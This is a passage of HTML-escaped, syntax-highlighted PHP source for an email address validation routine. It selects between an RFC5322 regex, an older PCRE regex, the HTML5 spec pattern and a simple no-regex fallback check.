&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Filter_var&lt;/span&gt; &lt;span class="n"&gt;appeared&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PHP&lt;/span&gt; &lt;span class="mf"&gt;5.2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;require&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;version_compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PHP_VERSION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;5.2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;noregex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;patternselect&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pcre8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;/**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Uses&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;RFC5322&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="n"&gt;FILTER_VALIDATE_EMAIL&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;based&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;allows&lt;/span&gt; &lt;span class="n"&gt;dotless&lt;/span&gt; &lt;span class="n"&gt;domains&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;squiloople&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2009&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;validation&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;copyright&lt;/span&gt; &lt;span class="mi"&gt;2009&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2010&lt;/span&gt; &lt;span class="n"&gt;Michael&lt;/span&gt; &lt;span class="n"&gt;Rushton&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Feel&lt;/span&gt; &lt;span class="n"&gt;free&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;redistribute&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;But&lt;/span&gt; &lt;span class="n"&gt;please&lt;/span&gt; &lt;span class="n"&gt;keep&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;copyright&lt;/span&gt; &lt;span class="n"&gt;notice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;/^(?!(?&amp;gt;(?1)&amp;#34;?(?&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[ -~]|[^&amp;#34;])&amp;#34;?(?1)){255,})(?!(?&amp;gt;(?1)&amp;#34;?(?&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[ -~]|[^&amp;#34;])&amp;#34;?(?1)){65,}@)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;((?&amp;gt;(?&amp;gt;(?&amp;gt;((?&amp;gt;(?&amp;gt;(?&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\x0D\x0A&lt;/span&gt;&lt;span class="s1"&gt;)?[&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s1"&gt; ])+|(?&amp;gt;[&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s1"&gt; ]*&lt;/span&gt;&lt;span class="se"&gt;\x0D\x0A&lt;/span&gt;&lt;span class="s1"&gt;)?[&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s1"&gt; ]+)?)(\((?&amp;gt;(?2)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;(?&amp;gt;[&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x08\x0B\x0C\x0E&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;*-\[\]-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]|(?3)))*(?2)\)))+(?2))|(?2))?)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;([!#-&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;*+\/-9=?^-~-]+|&amp;#34;(?&amp;gt;(?2)(?&amp;gt;[&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x08\x0B\x0C\x0E&lt;/span&gt;&lt;span class="s1"&gt;-!#-\[\]-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]))*&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;(?2)&amp;#34;)(?&amp;gt;(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?&amp;gt;([a-z0-9](?&amp;gt;[a-z0-9-]*[a-z0-9])?)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;(?&amp;gt;(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?&amp;gt;IPv6:(?&amp;gt;([a-f0-9]{1,4})(?&amp;gt;:(?6)){7}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?&amp;gt;:(?6)){0,6})?::(?7)?))|(?&amp;gt;(?&amp;gt;IPv6:(?&amp;gt;(?6)(?&amp;gt;:(?6)){5}:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?&amp;gt;((?6)(?&amp;gt;:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;|[1-9]?[0-9])(?&amp;gt;\.(?9)){3}))\])(?1)$/isD&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pcre&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;An&lt;/span&gt; &lt;span class="n"&gt;older&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;doesn&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t need a recent PCRE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;/^(?!(?&amp;gt;&amp;#34;?(?&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[ -~]|[^&amp;#34;])&amp;#34;?){255,})(?!(?&amp;gt;&amp;#34;?(?&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[ -~]|[^&amp;#34;])&amp;#34;?){65,}@)(?&amp;gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;[!#-&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;*+\/-9=?^-~-]+|&amp;#34;(?&amp;gt;(?&amp;gt;[&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x08\x0B\x0C\x0E&lt;/span&gt;&lt;span class="s1"&gt;-!#-\[\]-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\xFF&lt;/span&gt;&lt;span class="s1"&gt;]))*&amp;#34;)&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;(?&amp;gt;\.(?&amp;gt;[!#-&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;*+\/-9=?^-~-]+|&amp;#34;(?&amp;gt;(?&amp;gt;[&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\x08\x0B\x0C\x0E&lt;/span&gt;&lt;span class="s1"&gt;-!#-\[\]-&lt;/span&gt;&lt;span class="se"&gt;\x7F&lt;/span&gt;&lt;span class="s1"&gt;]|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;\[&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\xFF&lt;/span&gt;&lt;span class="s1"&gt;]))*&amp;#34;))*&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;@(?&amp;gt;(?![a-z0-9-]{64,})(?&amp;gt;[a-z0-9](?&amp;gt;[a-z0-9-]*[a-z0-9])?)(?&amp;gt;\.(?![a-z0-9-]{64,})&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;(?&amp;gt;[a-z0-9](?&amp;gt;[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?&amp;gt;IPv6:(?&amp;gt;(?&amp;gt;[a-f0-9]{1,4})(?&amp;gt;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?&amp;gt;[a-f0-9]{1,4}(?&amp;gt;:[a-f0-9]{1,4}){0,6})?&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;::(?&amp;gt;[a-f0-9]{1,4}(?&amp;gt;:[a-f0-9]{1,4}){0,6})?))|(?&amp;gt;(?&amp;gt;IPv6:(?&amp;gt;[a-f0-9]{1,4}(?&amp;gt;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?&amp;gt;[a-f0-9]{1,4}(?&amp;gt;:[a-f0-9]{1,4}){0,4})?&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;::(?&amp;gt;(?:[a-f0-9]{1,4}(?&amp;gt;:[a-f0-9]{1,4}){0,4}):)?))?(?&amp;gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;|[1-9]?[0-9])(?&amp;gt;\.(?&amp;gt;25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;html5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;/**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="n"&gt;used&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;HTML5&lt;/span&gt; &lt;span class="n"&gt;spec&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;validation&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;whatwg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;web&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="c1"&gt;#e-mail-state-(type=email)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;/^[a-zA-Z0-9.!#$%&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;noregex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;PCRE&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;Do&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="n"&gt;_very_&lt;/span&gt; &lt;span class="n"&gt;approximate&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;chars&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;longer&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;contains&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s not the first or last char&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
